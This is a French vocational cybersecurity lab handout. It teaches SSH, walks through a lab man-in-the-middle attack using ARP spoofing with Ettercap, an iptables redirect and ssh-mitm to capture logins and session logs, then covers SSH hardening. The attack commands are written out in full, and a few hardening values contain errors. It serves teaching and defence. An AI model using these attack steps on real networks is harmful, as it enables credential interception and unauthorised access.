PROCÉDURE DE TRAVAUX PRATIQUES

Cybersécurité — BTS SIO SISR Bloc 3

Attaque MITM d'un service SSH

& Mise en place de contre-mesures

Formation	BTS SIO — Option SISR
Matière	Bloc 3 SISR — Cybersécurité des services informatiques
Durée estimée	6 heures
Version	v1.1 — Décembre 2025

⚠ **ATTENTION :** Ce TP est uniquement à visée pédagogique et éthique (Ethical Hacking). L'usage des outils présentés est formellement interdit en dehors de ce cadre sur un réseau tiers sans autorisation explicite. Article 323-1 du code pénal.

PARTIE 1 — COURS THÉORIQUE

1. Le protocole SSH — Présentation et historique

Avant SSH, les échanges entre machines distantes reposaient sur des protocoles non sécurisés tels que Telnet, FTP ou RSH. Ces protocoles transmettent les données en clair sur le réseau, y compris les identifiants et mots de passe, ce qui les rend vulnérables à l'interception.

SSH (Secure Shell) a été créé pour pallier ces lacunes en offrant un canal chiffré, authentifié et intègre entre deux machines. OpenSSH est l'implémentation open source la plus répandue sous les systèmes GNU/Linux et BSD. Elle est développée depuis 1999 par l'équipe d'OpenBSD sous licence BSD.

Définition : OpenSSH
OpenSSH (OpenBSD Secure Shell) est un ensemble d'outils libres permettant des communications sécurisées sur un réseau. Il couvre trois mécanismes fondamentaux : le chiffrement des données, l'authentification des parties, et l'intégrité des données transmises.

1.1 Structure des fichiers de configuration SSH

Fichiers système (dans /etc/ssh/) :

- sshd_config — Configuration du serveur SSH (démon sshd)
- ssh_config — Configuration du client SSH (pour tout le système)
- ssh_host_ecdsa_key / .pub — Paire de clés ECDSA du serveur
- ssh_host_rsa_key / .pub — Paire de clés RSA du serveur
- moduli — Groupes Diffie-Hellman pour l'échange de clés de session

Fichiers utilisateur (dans ~/.ssh/) :

- authorized_keys — Clés publiques des clients autorisés à se connecter
- id_ecdsa / id_ecdsa.pub — Clé privée et publique ECDSA du client
- known_hosts — Empreintes des serveurs déjà connus (mécanisme TOFU)

2. La cryptographie appliquée à SSH

2.1 Chiffrement symétrique vs asymétrique

SSH utilise une combinaison des deux approches :

Type	Utilisation dans SSH	Exemples d'algorithmes
Symétrique	Chiffrement du tunnel (clé de session)	AES-256-CTR, ChaCha20-Poly1305
Asymétrique	Authentification du serveur et du client	ECDSA, Ed25519, RSA (déprécié)

Échange de clés	Négociation de la clé de session symétrique	Diffie-Hellman, ECDH (curve25519)

2.2 L'échange de clés Diffie-Hellman

L'échange Diffie-Hellman permet à deux parties de se mettre d'accord sur une clé secrète commune, sans que cette clé ne transite jamais sur le réseau. Le principe repose sur des opérations mathématiques asymétriques : les deux parties échangent des valeurs publiques et calculent chacune de leur côté la même clé secrète partagée. Cette clé servira ensuite à chiffrer symétriquement l'ensemble de la session SSH.

2.3 Fonctions de hachage

Les fonctions de hachage (SHA-256, SHA-512) produisent une empreinte unique (condensat) d'un message. Dans SSH, elles sont utilisées pour :

- Calculer l'empreinte (fingerprint) de la clé publique du serveur
- Garantir l'intégrité des données transmises via les MACs (Message Authentication Codes)
- Stocker les condensats dans les enregistrements DNS SSHFP

2.4 Pourquoi ECDSA est préféré à RSA ?

L'algorithme ECDSA (Elliptic Curve Digital Signature Algorithm) offre une sécurité équivalente à RSA avec des clés bien plus courtes. Une clé ECDSA de 256 bits offre un niveau de sécurité comparable à une clé RSA de 3072 bits. Cela réduit la charge de calcul et améliore les performances, tout en respectant l'état de l'art cryptographique actuel.

3. Modèle de sécurité — Trust On First Use (TOFU)

Contrairement à TLS/HTTPS qui repose sur des autorités de certification (PKI), SSH utilise par défaut l'approche TOFU. Lors de la première connexion à un serveur, le client reçoit l'empreinte de la clé publique de ce dernier et demande confirmation à l'utilisateur.

Principe TOFU

Si l'utilisateur confirme l'empreinte lors de la première connexion, celle-ci est enregistrée dans le fichier ~/.ssh/known_hosts. Lors des connexions suivantes, SSH vérifie que la clé présentée correspond à celle stockée. Si elle a changé, un avertissement critique est émis — ce qui peut signaler une attaque MITM.

Limitation : cette approche repose sur la vigilance de l'utilisateur lors de la première connexion. Un utilisateur inattentif pourrait valider la clé d'un attaquant positionné en homme du milieu.

4. L'attaque de l'Homme du Milieu (Man-In-The-Middle)

Une attaque MITM est une attaque dans laquelle l'attaquant s'interpose secrètement dans les communications entre deux parties (ici le client et le serveur SSH). Ni l'une ni l'autre n'est consciente que leurs échanges sont interceptés, lus et potentiellement modifiés.

Déroulement général d'un MITM
1. L'attaquant se positionne sur le chemin de communication (même réseau local).2. Il trompe le client en se faisant passer pour le serveur légitime.3. Il relaie les communications vers le vrai serveur pour ne pas éveiller les soupçons.4. Il intercepte en clair tous les échanges : identifiants, mots de passe, commandes.

4.1 Attaque ARP Spoofing (ARP Poisoning)

Le protocole ARP (Address Resolution Protocol) permet de résoudre une adresse IP en adresse MAC sur un réseau local. Il n'implémente aucun mécanisme d'authentification : n'importe quelle machine peut envoyer des réponses ARP non sollicitées (gratuitous ARP) pour empoisonner les caches ARP des victimes.

En envoyant de fausses réponses ARP, l'attaquant associe sa propre adresse MAC à l'adresse IP du serveur (et vice versa). Ainsi, les trames Ethernet des victimes sont envoyées vers la machine de l'attaquant au lieu de leur destination légitime.

Cache ARP AVANT l'attaque	Cache ARP APRÈS l'attaque
`192.168.56.10 → MAC_Serveur (légitime)`	`192.168.56.10 → MAC_Attaquant (falsifié)`

4.2 Redirection de flux avec Netfilter/IPTables

Une fois les trames ARP empoisonnées, l'attaquant doit rediriger le trafic SSH entrant vers son propre service SSH piégé. Pour cela, une règle iptables redirige le port 22/TCP vers le port 2222/TCP sur lequel écoute le programme ssh-mitm :

```
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
```

L'outil ssh-mitm joue le rôle de proxy SSH : il intercepte la connexion du client, enregistre les identifiants saisis, puis se connecte au vrai serveur pour relayer les commandes. L'utilisateur ne voit rien d'anormal (sauf l'avertissement sur l'empreinte de clé).

4.3 Activation du routage IP

Pour que les paquets interceptés soient bien transmis au serveur légitime (et ne soient pas bloqués), l'attaquant doit activer le routage IP sur sa machine :

```
sysctl -w net.ipv4.ip_forward=1
```

Sans cette commande, les paquets arrivant à destination de l'attaquant (mais destinés au serveur) seraient tout simplement ignorés, cassant la communication et alertant les victimes.

5. Contre-mesures et durcissement SSH

5.1 Authentification par clés cryptographiques

L'authentification par mot de passe est vulnérable aux attaques par force brute, par dictionnaire, et aux MITM. L'authentification par clés cryptographiques est bien plus robuste : elle repose sur la possession d'une clé privée que l'attaquant ne peut pas intercepter.

Fonctionnement simplifié :

- Le client génère une paire de clés (privée + publique) avec ssh-keygen
- La clé publique est déposée sur le serveur dans ~/.ssh/authorized_keys
- Lors de la connexion, le serveur envoie un défi chiffré avec la clé publique du client
- Seul le client possédant la clé privée peut déchiffrer et répondre correctement
- La clé privée ne transite jamais sur le réseau

ECDSA 256 bits recommandé

La commande de génération recommandée est : ssh-keygen -b 256 -t ecdsaLa passphrase protège la clé privée stockée sur le disque. Si un attaquant vole le fichier id_ecdsa, il lui faudra encore casser la passphrase pour l'utiliser.

5.2 Permissions strictes sur les clés

SSH vérifie les permissions des fichiers de clés avant de les utiliser. Si les droits sont trop permissifs, SSH refusera d'utiliser la clé pour prévenir tout accès non autorisé :

- ~/.ssh/id_ecdsa (clé privée) : droits 600 (lecture/écriture pour le propriétaire uniquement)
- ~/.ssh/authorized_keys : droits 600 ou 644 maximum
- /etc/ssh/ssh_host_*_key (clés privées serveur) : droits 600, propriétaire root

5.3 Le protocole SSHFP (RFC 4255)

SSHFP (SSH FingerPrint) permet de publier les empreintes des clés publiques d'un serveur SSH dans sa zone DNS. Lorsqu'un client SSH se connecte à un nouveau serveur, il peut interroger le DNS pour vérifier que l'empreinte proposée correspond bien à celle publiée, et ce avant d'accepter la connexion. Cela élimine le problème de confiance aveugle du premier usage (TOFU).

Format d'un enregistrement SSHFP :

```
srvssh IN SSHFP 3 2
94f23110ac6c6073cfde2ee23226595cb614a16f6f88bc127c5dfd30da1694ce
```

Le premier chiffre (3) indique le type de clé : 1=RSA, 2=DSA, 3=ECDSA, 4=Ed25519. Le second (2) indique le type de condensat : 1=SHA1, 2=SHA256.

5.4 Le principe de Kerckhoffs

Énoncé au XIXe siècle par Auguste Kerckhoffs, ce principe stipule que la sécurité d'un système cryptographique ne doit reposer que sur le secret de la clé, et non sur le secret de l'algorithme. Reformulé par Claude Shannon : "l'adversaire connaît le système".

En pratique, cela justifie l'usage d'algorithmes cryptographiques publics, éprouvés et standardisés (comme AES, ECDSA, ChaCha20) plutôt que des algorithmes maison ou obscurs. L'état de l'art

(recommandations ANSSI, Mozilla) définit les algorithmes considérés comme sûrs à un instant donné.

5.5 Directives de durcissement sshd_config (ANSSI)

Directive	Valeur recommandée	Explication
`Protocol`	`22`	Désactive SSHv1, vulnérable
`Port`	`222`	Réduit le bruit des bots sur le port 22
`PermitRootLogin`	`no`	Interdit la connexion directe en root
`PasswordAuthentication`	`no`	Force l'auth par clés uniquement
`PermitEmptyPasswords`	`no`	Interdit les comptes sans mot de passe
`MaxAuthTries`	`3`	Limite les tentatives d'authentification
`StrictModes`	`yes`	Vérifie les permissions des fichiers
`UsePrivilegeSeparation`	`sandbox`	Isolation des processus SSH
`PrintLastLog`	`yes`	Affiche la dernière connexion
`AllowUsers`	`etusio`	Whitelist des utilisateurs autorisés

PARTIE 2 — PROCÉDURE PRATIQUE

Maquette VirtualBox — Configuration de l'infrastructure

Machine	Adresse IP	OS	Rôle
`srvssh.local.sio.fr`	`192.168.56.10/24`	Debian 10	Serveur SSH + DNS
`clissh.local.sio.fr`	`192.168.56.11/24`	Debian 10	Client SSH (XFCE)
`Attaquant`	`192.168.56.12/24`	Kali Linux	Ettercap, ssh-mitm
`rwbsd.local.sio.fr`	`192.168.56.254/24`	OpenBSD	Routeur (PacketFilter)

Identifiants communs sur toutes les machines : etusio / Fghijkl1234*

PHASE 1 — Prise en main et généralités SSH

Étape 1 — Mise en place de la maquette VirtualBox

```
Fichier > Importer un appareil virtuel > tpSSH-Certa.ova
Fichier > Gestionnaire de réseau hôte > vboxnet0 : 192.168.56.1/24 (DHCP désactivé)
Démarrer toutes les VMs dont le routeur OpenBSD
```

Vérifier que les cartes réseau des VM sont bien liées à vboxnet0.

Étape 2 — Vérification du service SSH sur le serveur

```
etusio@srvssh:~$ systemctl status ssh
etusio@srvssh:~$ dpkg -l | grep openssh-server
```

PHASE 2 — Première connexion SSH et mécanisme TOFU

Étape 3 — Première connexion depuis le client vers le serveur

```
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
# Un message d'avertissement s'affiche : vérifier et accepter l'empreinte
# Répondre 'yes' pour mémoriser la clé dans known_hosts
```

Étape 4 — Vider le fichier known_hosts (préparation pour la suite)

```
etusio@clissh:~$ echo > ~/.ssh/known_hosts
```

Cette étape est nécessaire pour observer correctement le comportement lors de l'attaque MITM.

PHASE 3 — Reconnaissance réseau (point de vue attaquant)

Étape 5 — Scan réseau avec nmap depuis Kali Linux

```
etusio@kali:~$ nmap -sP 192.168.56.0/24
etusio@kali:~$ nmap -sV 192.168.56.10
etusio@kali:~$ nmap -sV 192.168.56.11
etusio@kali:~$ nmap -sV 192.168.56.254
```

nmap -sP : scan de découverte d'hôtes (ping scan). nmap -sV : détection des versions de services.

PHASE 4 — Attaque Man-In-The-Middle

Étape 6 — Relever les caches ARP AVANT l'attaque

```
etusio@clissh:~$ ip neigh show
etusio@srvssh:~$ ip neigh show
```

Noter précieusement les associations IP/MAC pour comparer après l'attaque.

Étape 7 — Installation et lancement de ssh-mitm sur Kali Linux

```
etusio@kali:~$ git clone https://github.com/ktux/ssh-mitm
etusio@kali:~$ cd ssh-mitm/
etusio@kali:~/ssh-mitm$ export LANG=en_US.utf-8
etusio@kali:~/ssh-mitm$ sudo ./install.sh
# Accepter l'installation d'AppArmor : répondre 'y'
etusio@kali:~/ssh-mitm$ sudo ./start.sh
```

Le script start.sh active automatiquement le routage IP (ip_forward=1) et crée la règle iptables de redirection du port 22 vers 2222.

Étape 8 — Lancement de l'ARP Spoofing avec Ettercap

```
etusio@kali:~/ssh-mitm$ sudo ettercap -i eth0 -T -M arp /192.168.56.10//
/192.168.56.11//
```

Options : -T = mode texte, -M arp = attaque Man in the Middle par ARP. Les deux IPs sont les victimes (serveur et client SSH).

Étape 9 — Vérification des caches ARP APRÈS l'attaque

```
etusio@clissh:~$ ip neigh show
etusio@srvssh:~$ ip neigh show
```

Étape 10 — Capture Wireshark et analyse des trames ARP

```
# Sur le client : Applications > Internet > Wireshark > interface enp0s3
# Sur Kali : lancer Wireshark sur eth0
# Capturer ~20 secondes et filtrer sur : arp
```

Observer les réponses ARP non sollicitées (gratuitous ARP) envoyées par l'attaquant.

PHASE 5 — Exploitation de l'attaque et capture des identifiants

Étape 11 — Connexion SSH depuis le client (pendant l'attaque active)

```
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
# Accepter le 'yes' malgré l'avertissement d'empreinte inconnue
# Une fois connecté, exécuter :
etusio@srvssh:~$ sudo cat /etc/shadow
etusio@srvssh:~$ sudo iptables -L
```

L'empreinte présentée est celle de ssh-mitm (attaquant), pas celle du vrai serveur !

Étape 12 — Arrêter l'attaque et récupérer les identifiants capturés

```
# Arrêter ettercap : appuyer sur Q
etusio@kali:~/ssh-mitm$ sudo ./stop.sh
# Consulter le log :
etusio@kali:~$ sudo cat /var/log/auth.log | grep -i password
# Consulter la session enregistrée :
etusio@kali:~$ sudo cat /home/ssh-mitm/shell_session_0.txt
```

Étape 13 — Vider le cache ARP et tenter une reconnexion

```
etusio@clissh:~$ sudo ip neigh flush all
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
# => Erreur : REMOTE HOST IDENTIFICATION HAS CHANGED
```

Le known_hosts contient désormais la clé de l'attaquant. SSH détecte la différence avec la vraie clé du serveur.

PHASE 6 — Mise en place de l'authentification par clés

⚠ **ATTENTION :** Dans un contexte professionnel, la génération de clés doit être réalisée sur une machine physique avec plusieurs sources d'entropie. Les VMs réduisent l'entropie disponible.

Étape 14 — Configurer le serveur pour autoriser l'auth par clés

```
etusio@srvssh:~$ sudoedit /etc/ssh/sshd_config
```

```
# Vérifier/décommenter :
# PubkeyAuthentication yes
# AuthorizedKeysFile .ssh/authorized_keys
etusio@srvssh:~$ sudo service ssh restart
```

Étape 15 — Générer la paire de clés ECDSA sur le client

```
etusio@clissh:~$ ssh-keygen -b 256 -t ecdsa
# Appuyer sur Entrée pour le chemin par défaut
# Entrer la passphrase : TPMITMcerta
# Confirmer la passphrase
```

Les clés sont générées dans ~/.ssh/ : id_ecdsa (privée) et id_ecdsa.pub (publique).

Étape 16 — Copier la clé publique sur le serveur

```
etusio@clissh:~$ ssh-copy-id -i ~/.ssh/id_ecdsa.pub
etusio@srvssh.local.sio.fr
# Tester la connexion par clé :
etusio@clissh:~$ ssh etusio@srvssh.local.sio.fr
# => La passphrase est demandée (et non le mot de passe système)
```

Étape 17 — Désactiver l'authentification par mot de passe sur le serveur

```
etusio@srvssh:~$ sudoedit /etc/ssh/sshd_config
# Modifier/décommenter :
# PasswordAuthentication no
etusio@srvssh:~$ sudo service ssh restart
```

Étape 18 — Configurer ssh-agent pour éviter de resaisir la passphrase

```
etusio@clissh:~$ exec ssh-agent $SHELL
etusio@clissh:~$ ssh-add
# Entrer la passphrase : TPMITMcerta
```

L'agent mémorise la clé déchiffrée pour la durée de la session. Attention à la sécurité physique du poste.

Étape 19 — Nettoyer pour la suite

```
etusio@clissh:~$ echo > ~/.ssh/known_hosts
# Arrêter l'attaque MITM si encore active
```

PHASE 7 — Faciliter la vérification d'identité avec SSHFP

Étape 20 — Vérification manuelle de l'empreinte du serveur

```
etusio@srvssh:~$ ssh-keygen -l -f /etc/ssh/ssh_host_ecdsa_key.pub
# Comparer cette empreinte avec celle présentée lors de la connexion depuis le client
```

Étape 21 — Générer et publier les enregistrements SSHFP dans le DNS

```
etusio@srvssh:~$ sudo ssh-keygen -r srvssh
# Copier les enregistrements générés
etusio@srvssh:~$ sudoedit /var/named/db.local.sio.fr
# Ajouter les enregistrements SSHFP à la fin du fichier de zone
etusio@srvssh:~$ sudo service bind9 reload
```

Étape 22 — Tester la vérification SSHFP depuis le client

```
etusio@clissh:~$ ssh -o VerifyHostKeyDNS=true etusio@srvssh.local.sio.fr
# Pour rendre permanent, ajouter dans /etc/ssh/ssh_config :
# VerifyHostKeyDNS yes
```

PHASE 8 — Durcissement du serveur OpenSSH (recommandations ANSSI)

Étape 23 — Appliquer les directives de durcissement dans sshd_config

```
etusio@srvssh:~$ sudoedit /etc/ssh/sshd_config
```

Modifier/ajouter les directives suivantes dans le fichier de configuration :

Directive à ajouter/modifier	Objectif de sécurité
`Protocol 22`	Utiliser uniquement SSHv2
`Port 222`	Changer le port d'écoute (222/TCP)
`StrictModes yes`	Vérification stricte des permissions
`PermitRootLogin no`	Interdire la connexion root
`UsePrivilegeSeparation sandbox`	Isolation par sandbox
`PermitEmptyPasswords no`	Interdire les comptes sans mot de passe
`MaxAuthTries 3`	3 tentatives max
`PrintLastLog yes`	Afficher les infos de dernière connexion
`AllowUsers etusio`	Autoriser uniquement etusio

Étape 24 — Vérifier les permissions des clés privées serveur

```
etusio@srvssh:~$ ls -la /etc/ssh/ssh_host_*_key
# Droits attendus : -rw------- root root (600)
```

```
# Corriger si nécessaire :
etusio@srvssh:~$ sudo chmod 600 /etc/ssh/ssh_host_*_key
etusio@srvssh:~$ sudo service ssh restart
```

PHASE 9 — Durcissement des algorithmes cryptographiques

Étape 25 — Restreindre les algorithmes cryptographiques (recommandations ANSSI/Mozilla)

```
etusio@srvssh:~$ sudoedit /etc/ssh/sshd_config
# Ajouter les lignes suivantes :
KexAlgorithms
curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2
-nistp256,diffie-hellman-group-exchange-sha256
Ciphers
chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,
aes256-ctr,aes192-ctr,aes128-ctr
MACs
hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@ope
nssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com
etusio@srvssh:~$ sudo service ssh restart
```

Ces directives désactivent les algorithmes dépréciés ou considérés comme faibles, conformément aux recommandations ANSSI et Mozilla.

Récapitulatif des contre-mesures mises en place

1. Authentification par clés ECDSA (passphrase obligatoire) — désactivation de l'auth par mot de passe2. Permissions strictes sur les fichiers de clés (600)3. Publication des empreintes SSH dans le DNS (SSHFP)4. Durcissement de sshd_config (ANSSI) : port modifié, root interdit, sandbox, whitelist user5. Restriction aux algorithmes cryptographiques modernes (état de l'art)